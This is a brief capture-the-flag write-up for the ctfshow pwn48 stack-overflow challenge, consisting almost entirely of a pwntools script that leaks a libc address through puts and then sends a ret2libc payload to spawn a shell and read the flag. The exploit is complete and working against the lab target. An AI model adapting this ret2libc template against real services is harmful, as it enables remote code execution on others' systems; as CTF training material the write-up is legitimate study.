ctfshow [栈溢出]---pwn48

和前面的题一样的套路很简单

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28149)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

ru("O.o?")
leak_puts_plt = elf.plt['puts']
leak_puts_got = elf.got['puts']
ret_addr = elf.symbols["ctfshow"]

payload = b"a"*(0x6b+4)+p32(leak_puts_plt)+p32(ret_addr)+p32(leak_puts_got)
sl(payload)
ru("\n")
puts_addr = uu32(r(4))
libc = LibcSearcher("puts",puts_addr)
base_addr = puts_addr-libc.dump("puts")
print("base_addr-----------------_>:",hex(base_addr))

system_addr = base_addr+libc.dump("system")
binsh = base_addr+libc.dump("str_bin_sh")

payload = b"a"*(0x6b+4)+p32(system_addr)+p32(0)+p32(binsh)
sl(payload)
sl("cat flag")




itr()